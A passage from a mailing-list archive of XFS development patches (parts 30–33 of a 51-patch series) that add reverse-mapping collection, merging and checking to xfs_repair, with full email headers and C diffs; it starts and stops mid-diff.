rmap.rm_blockcount = irec->br_blockcount; + if (irec->br_state == XFS_EXT_UNWRITTEN) + rmap.rm_blockcount |= XFS_RMAP_LEN_UNWRITTEN; + return slab_add(rmaps, &rmap); +} + +#ifdef RMAP_DEBUG +static void +dump_rmap( + const char *msg, + xfs_agnumber_t agno, + struct xfs_rmap_irec *rmap) +{ + printf("%s: %p agno=%u pblk=%llu ino=%llu lblk=%llu len=%u\n", msg, + rmap, + (unsigned)agno, + (unsigned long long)rmap->rm_startblock, + (unsigned long long)rmap->rm_owner, + (unsigned long long)rmap->rm_offset, + (unsigned)rmap->rm_blockcount); +} +#else +# define dump_rmap(m, a, r) +#endif diff --git a/repair/rmap.h b/repair/rmap.h new file mode 100644 index 0000000..be3d357 --- /dev/null +++ b/repair/rmap.h @@ -0,0 +1,30 @@ +/* + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef RMAP_H_ +#define RMAP_H_ + +extern bool collect_rmaps; + +extern bool needs_rmap_work(struct xfs_mount *); + +extern void init_rmaps(struct xfs_mount *); +extern void free_rmaps(struct xfs_mount *); + +extern int add_rmap(struct xfs_mount *, xfs_ino_t, int, struct xfs_bmbt_irec *); + +#endif /* RMAP_H_ */ diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index a464cd3..f4289c0 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -31,6 +31,8 @@ #include "threads.h" #include "progress.h" #include "dinode.h" +#include "slab.h" +#include "rmap.h" #define rounddown(x, y) (((x)/(y))*(y)) @@ -790,6 +792,7 @@ main(int argc, char **argv) init_bmaps(mp); incore_ino_init(mp); incore_ext_init(mp); + init_rmaps(mp); /* initialize random globals now that we know the fs geometry */ inodes_per_block = mp->m_sb.sb_inopblock; @@ -823,6 +826,7 @@ main(int argc, char **argv) /* * Done with the block usage maps, toss them... */ + free_rmaps(mp); free_bmaps(mp); if (!bad_ino_btree) { From darrick.wong@oracle.com Wed Oct 7 00:08:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7AAC229EB7 for ; Wed, 7 Oct 2015 00:08:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DA105AC005 for ; Tue, 6 Oct 2015 22:08:29 -0700 (PDT) X-ASG-Debug-ID: 1444194508-04cb6c578b0d9f0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id uZx6OHCgcqI13sOa (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:28 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758RIG016819 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:27 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758Row031515 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:27 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9758RCQ007459; Wed, 7 Oct 2015 05:08:27 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:27 -0700 Subject: [PATCH 30/51] xfs_repair: record and merge raw rmap data From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 30/51] xfs_repair: record and merge raw rmap data To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:26 -0700 Message-ID: <20151007050826.1504.14574.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194508 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Since we still allow merging of BMBT block, AG metadata, and AG btree block rmaps, provide a facility to collect these raw observations and merge them (with maximal length) into the main rmap list. Signed-off-by: Darrick J. Wong --- repair/rmap.c | 137 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 3 + 2 files changed, 140 insertions(+) diff --git a/repair/rmap.c b/repair/rmap.c index 1a73dbb..f3363f7 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -37,6 +37,7 @@ /* per-AG rmap object anchor */ struct xfs_ag_rmap { struct xfs_slab *ar_rmaps; /* rmap observations, p4 */ + struct xfs_slab *ar_raw_rmaps; /* unmerged rmaps */ }; static struct xfs_ag_rmap *ag_rmaps; @@ -107,6 +108,11 @@ init_rmaps( if (error) do_error( _("Insufficient memory while allocating reverse mapping slabs.")); + error = init_slab(&ag_rmaps[i].ar_raw_rmaps, + sizeof(struct xfs_rmap_irec)); + if (error) + do_error( +_("Insufficient memory while allocating raw metadata reverse mapping slabs.")); } } @@ -126,6 +132,7 @@ free_rmaps( for (i = 0; i < mp->m_sb.sb_agcount; i++) { free_slab(&ag_rmaps[i].ar_rmaps); + free_slab(&ag_rmaps[i].ar_raw_rmaps); } free(ag_rmaps); ag_rmaps = NULL; @@ -175,6 +182,136 @@ add_rmap( return slab_add(rmaps, &rmap); } +/* add a raw rmap; these will be merged later */ +static int +__add_raw_rmap( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t len, + uint64_t owner, + bool is_attr, + bool is_bmbt) +{ + struct xfs_rmap_irec rmap; + + rmap.rm_owner = owner; + rmap.rm_offset = 0; + if (is_attr) + rmap.rm_offset |= XFS_RMAP_OFF_ATTR; + if (is_bmbt) + rmap.rm_offset |= XFS_RMAP_OFF_BMBT; + rmap.rm_startblock = agbno; + rmap.rm_blockcount = len; + return slab_add(ag_rmaps[agno].ar_raw_rmaps, &rmap); +} + +/** + * add_ag_rmap() -- Add an reverse mapping for a per-AG fixed metadata object. + * + * @mp: XFS mount object. + * @agno: The AG number. + * @agbno: The block within the AG. + * @len: The length of the extent. + * @owner: The owner of the block. + */ +int +add_ag_rmap( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t len, + uint64_t owner) +{ + if (!needs_rmap_work(mp)) + return 0; + + ASSERT(agno != NULLAGNUMBER); + ASSERT(agno < mp->m_sb.sb_agcount); + ASSERT(agbno + len <= mp->m_sb.sb_agblocks); + + return __add_raw_rmap(mp, agno, agbno, len, owner, false, false); +} + +static bool +mergeable_rmaps( + struct xfs_rmap_irec *r1, + struct xfs_rmap_irec *r2) +{ + if (r1->rm_startblock + r1->rm_blockcount != r2->rm_startblock) + return false; + if (r1->rm_owner != r2->rm_owner) + return false; + if (XFS_RMAP_NON_INODE_OWNER(r2->rm_owner)) + return true; + /* must be an inode owner */ + if (XFS_RMAP_IS_ATTR_FORK(r1->rm_offset) ^ + XFS_RMAP_IS_ATTR_FORK(r2->rm_offset)) + return false; + if (XFS_RMAP_IS_BMBT(r1->rm_offset) || XFS_RMAP_IS_BMBT(r2->rm_offset)) + return XFS_RMAP_IS_BMBT(r1->rm_offset) && + XFS_RMAP_IS_BMBT(r2->rm_offset); + return r1->rm_offset + r1->rm_blockcount == r2->rm_offset; +} + +/** + * fold_raw_rmaps() - Merge adjacent raw rmaps and add them to the main + * rmap list. + * @mp: XFS mount. + * @agno: AG number. + */ +int +fold_raw_rmaps( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_slab_cursor *cur = NULL; + struct xfs_rmap_irec *prev, *rec; + size_t old_sz; + int error; + + old_sz = slab_count(ag_rmaps[agno].ar_rmaps); + if (slab_count(ag_rmaps[agno].ar_raw_rmaps) == 0) + goto no_raw; + qsort_slab(ag_rmaps[agno].ar_raw_rmaps, rmap_compare); + error = init_slab_cursor(ag_rmaps[agno].ar_raw_rmaps, rmap_compare, + &cur); + if (error) + goto err; + + prev = pop_slab_cursor(cur); + rec = pop_slab_cursor(cur); + while (rec) { + if (mergeable_rmaps(prev, rec)) { + prev->rm_blockcount += rec->rm_blockcount; + rec = pop_slab_cursor(cur); + continue; + } + error = slab_add(ag_rmaps[agno].ar_rmaps, prev); + if (error) + goto err; + prev = rec; + rec = pop_slab_cursor(cur); + } + if (prev) { + error = slab_add(ag_rmaps[agno].ar_rmaps, prev); + if (error) + goto err; + } + free_slab(&ag_rmaps[agno].ar_raw_rmaps); + error = init_slab(&ag_rmaps[agno].ar_raw_rmaps, + sizeof(struct xfs_rmap_irec)); + if (error) + do_error( +_("Insufficient memory while allocating raw metadata reverse mapping slabs.")); +no_raw: + if (old_sz) + qsort_slab(ag_rmaps[agno].ar_rmaps, rmap_compare); +err: + free_slab_cursor(&cur); + return error; +} + #ifdef RMAP_DEBUG static void dump_rmap( diff --git a/repair/rmap.h b/repair/rmap.h index be3d357..51e916b 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -26,5 +26,8 @@ extern void init_rmaps(struct xfs_mount *); extern void free_rmaps(struct xfs_mount *); extern int add_rmap(struct xfs_mount *, xfs_ino_t, int, struct xfs_bmbt_irec *); +extern int add_ag_rmap(struct xfs_mount *, xfs_agnumber_t agno, + xfs_agblock_t agbno, xfs_extlen_t len, uint64_t owner); +extern int fold_raw_rmaps(struct xfs_mount *mp, xfs_agnumber_t agno); #endif /* RMAP_H_ */ From darrick.wong@oracle.com Wed Oct 7 00:08:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F187E29EB8 for ; Wed, 7 Oct 2015 00:08:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E1DEF8F8035 for ; Tue, 6 Oct 2015 22:08:36 -0700 (PDT) X-ASG-Debug-ID: 1444194515-04cbb03f150da60001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Y1EPQH4rCSIGULaW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:35 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758Yps016868 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:34 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758XRY006094 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:34 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9758Xhu010225; Wed, 7 Oct 2015 05:08:33 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:33 -0700 Subject: [PATCH 31/51] xfs_repair: add inode bmbt block rmaps From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 31/51] xfs_repair: add inode bmbt block rmaps To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:32 -0700 Message-ID: <20151007050832.1504.82276.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194515 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Record BMBT blocks in the raw rmap list. Signed-off-by: Darrick J. Wong --- repair/rmap.c | 32 ++++++++++++++++++++++++++++++++ repair/rmap.h | 1 + repair/scan.c | 11 +++++++++++ 3 files changed, 44 insertions(+) diff --git a/repair/rmap.c b/repair/rmap.c index f3363f7..40bdae3 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -207,6 +207,38 @@ __add_raw_rmap( } /** + * add_bmbt_rmap() -- Add an observation about a bmbt block for later + * btree reconstruction. + * + * @mp: XFS mount object. + * @ino: The inode number associated with the extent mapping. + * @whichfork: Data or attribute fork? + * @fsbno: fsblock number of the bmbt block + */ +int +add_bmbt_rmap( + struct xfs_mount *mp, + xfs_ino_t ino, + int whichfork, + xfs_fsblock_t fsbno) +{ + xfs_agnumber_t agno; + xfs_agblock_t agbno; + + if (!needs_rmap_work(mp)) + return 0; + + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + ASSERT(agno != NULLAGNUMBER); + ASSERT(agno < mp->m_sb.sb_agcount); + ASSERT(agbno + 1 <= mp->m_sb.sb_agblocks); + + return __add_raw_rmap(mp, agno, agbno, 1, ino, + whichfork == XFS_ATTR_FORK, true); +} + +/** * add_ag_rmap() -- Add an reverse mapping for a per-AG fixed metadata object. * * @mp: XFS mount object. diff --git a/repair/rmap.h b/repair/rmap.h index 51e916b..57d56a0 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -28,6 +28,7 @@ extern void free_rmaps(struct xfs_mount *); extern int add_rmap(struct xfs_mount *, xfs_ino_t, int, struct xfs_bmbt_irec *); extern int add_ag_rmap(struct xfs_mount *, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len, uint64_t owner); +extern int add_bmbt_rmap(struct xfs_mount *, xfs_ino_t, int, xfs_fsblock_t); extern int fold_raw_rmaps(struct xfs_mount *mp, xfs_agnumber_t agno); #endif /* RMAP_H_ */ diff --git a/repair/scan.c b/repair/scan.c index 1ade344..db9e131 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -29,6 +29,7 @@ #include "bmap.h" #include "progress.h" #include "threads.h" +#include "rmap.h" static xfs_mount_t *mp = NULL; @@ -197,6 +198,7 @@ scan_bmapbt( xfs_agnumber_t agno; xfs_agblock_t agbno; int state; + int error; /* * unlike the ag freeblock btrees, if anything looks wrong @@ -378,6 +380,15 @@ _("bad state %d, inode %" PRIu64 " bmap block 0x%" PRIx64 "\n"), (*tot)++; numrecs = be16_to_cpu(block->bb_numrecs); + /* Record BMBT blocks in the reverse-mapping data. */ + if (check_dups && collect_rmaps) { + error = add_bmbt_rmap(mp, ino, whichfork, bno); + if (error) + do_error( +_("couldn't add inode %"PRIu64" bmbt block %"PRIu64" reverse-mapping data."), + ino, bno); + } + if (level == 0) { if (numrecs > mp->m_bmap_dmxr[0] || (isroot == 0 && numrecs < mp->m_bmap_dmnr[0])) { From darrick.wong@oracle.com Wed Oct 7 00:08:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 39A5F29E90 for ; Wed, 7 Oct 2015 00:08:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 261CA8F8040 for ; Tue, 6 Oct 2015 22:08:47 -0700 (PDT) X-ASG-Debug-ID: 1444194525-04cbb03f140da70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id UM9O1IVqXBNg0y90 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:45 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758iqq021288 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:44 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758ht2006459 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:44 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9758hi8007502; Wed, 7 Oct 2015 05:08:43 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:43 -0700 Subject: [PATCH 32/51] xfs_repair: add fixed-location per-AG rmaps From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 32/51] xfs_repair: add fixed-location per-AG rmaps To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:38 -0700 Message-ID: <20151007050838.1504.57156.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194525 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add reverse-mappings for fixed-location per-AG metadata such as inode chunks, superblocks, and the log to the raw rmap list, then merge the raw rmap data (which also has the BMBT data) into the main rmap list. Signed-off-by: Darrick J. Wong --- repair/phase4.c | 41 +++++++++++++++++++++++++++++++++++++++++ repair/rmap.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 2 ++ 3 files changed, 94 insertions(+) diff --git a/repair/phase4.c b/repair/phase4.c index bc43cd8..cbdb92e 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -157,6 +157,40 @@ process_ags( do_inode_prefetch(mp, ag_stride, process_ag_func, true, false); } +static void +check_rmap_btrees( + work_queue_t *wq, + xfs_agnumber_t agno, + void *arg) +{ + int error; + + error = add_fixed_ag_rmap_data(wq->mp, agno); + if (error) + do_error( +_("unable to add AG %u metadata reverse-mapping data.\n"), agno); + + error = fold_raw_rmaps(wq->mp, agno); + if (error) + do_error( +_("unable to merge AG %u metadata reverse-mapping data.\n"), agno); +} + +static void +process_rmap_data( + struct xfs_mount *mp) +{ + struct work_queue wq; + xfs_agnumber_t i; + + if (!needs_rmap_work(mp)) + return; + + create_work_queue(&wq, mp, libxfs_nproc()); + for (i = 0; i < mp->m_sb.sb_agcount; i++) + queue_work(&wq, check_rmap_btrees, i, NULL); + destroy_work_queue(&wq); +} void phase4(xfs_mount_t *mp) @@ -306,6 +340,13 @@ phase4(xfs_mount_t *mp) * already in phase 3. */ process_ags(mp); + + /* + * Process all the reverse-mapping data that we collected. This + * involves checking the rmap data against the btree. + */ + process_rmap_data(mp); + print_final_rpt(); /* diff --git a/repair/rmap.c b/repair/rmap.c index 40bdae3..a5ea685 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -344,6 +344,57 @@ err: return error; } +/** + * add_fixed_ag_rmap_data() - Add fixed per-AG metadata to the rmap list. + * This includes sb/agi/agf/agfl headers, inode + * chunks, and the log. + * + * @mp: XFS mountpoint. + * @agno: AG number. + */ +int +add_fixed_ag_rmap_data( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + xfs_fsblock_t fsbno; + xfs_agblock_t agbno; + ino_tree_node_t *ino_rec; + int error; + + if (!needs_rmap_work(mp)) + return 0; + + /* sb/agi/agf/agfl headers */ + error = add_ag_rmap(mp, agno, 0, XFS_BNO_BLOCK(mp), + XFS_RMAP_OWN_FS); + if (error) + goto out; + + /* inodes */ + ino_rec = findfirst_inode_rec(agno); + for (; ino_rec != NULL; ino_rec = next_ino_rec(ino_rec)) { + agbno = XFS_AGINO_TO_AGBNO(mp, ino_rec->ino_startnum); + error = add_ag_rmap(mp, agno, agbno, + 64 / mp->m_sb.sb_inopblock, /* XXX */ + XFS_RMAP_OWN_INODES); + if (error) + goto out; + } + + /* log */ + fsbno = mp->m_sb.sb_logstart; + if (fsbno && XFS_FSB_TO_AGNO(mp, fsbno) == agno) { + agbno = XFS_FSB_TO_AGBNO(mp, mp->m_sb.sb_logstart); + error = add_ag_rmap(mp, agno, agbno, mp->m_sb.sb_logblocks, + XFS_RMAP_OWN_LOG); + if (error) + goto out; + } +out: + return error; +} + #ifdef RMAP_DEBUG static void dump_rmap( diff --git a/repair/rmap.h b/repair/rmap.h index 57d56a0..7bab450 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -31,4 +31,6 @@ extern int add_ag_rmap(struct xfs_mount *, xfs_agnumber_t agno, extern int add_bmbt_rmap(struct xfs_mount *, xfs_ino_t, int, xfs_fsblock_t); extern int fold_raw_rmaps(struct xfs_mount *mp, xfs_agnumber_t agno); +extern int add_fixed_ag_rmap_data(struct xfs_mount *, xfs_agnumber_t); + #endif /* RMAP_H_ */ From darrick.wong@oracle.com Wed Oct 7 00:08:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 97FE929EC5 for ; Wed, 7 Oct 2015 00:08:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 279D6AC005 for ; Tue, 6 Oct 2015 22:08:54 -0700 (PDT) X-ASG-Debug-ID: 1444194531-04bdf020da0e9e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id eLsnqmnloLvw9BZW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:52 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758puC017034 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:51 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758oca032182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:51 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9758opZ022938; Wed, 7 Oct 2015 05:08:50 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:49 -0700 Subject: [PATCH 33/51] xfs_repair: check existing rmapbt entries against observed rmaps From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 33/51] xfs_repair: check existing rmapbt entries against observed rmaps To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:48 -0700 Message-ID: <20151007050848.1504.70154.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194531 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If we're running in -n mode, check the rmaps that we observe against what's in the rmap btree and complain if there's a mismatch. Signed-off-by: Darrick J. Wong --- include/libxfs.h | 1 repair/phase4.c | 6 ++ repair/rmap.c | 173 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 5 ++ repair/scan.c | 19 ++++-- 5 files changed, 198 insertions(+), 6 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 662dc30..9c85a49 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -77,6 +77,7 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include "xfs_bmap.h" #include "xfs_trace.h" #include "xfs_trans.h" +#include "xfs_rmap_btree.h" #ifndef ARRAY_SIZE #define 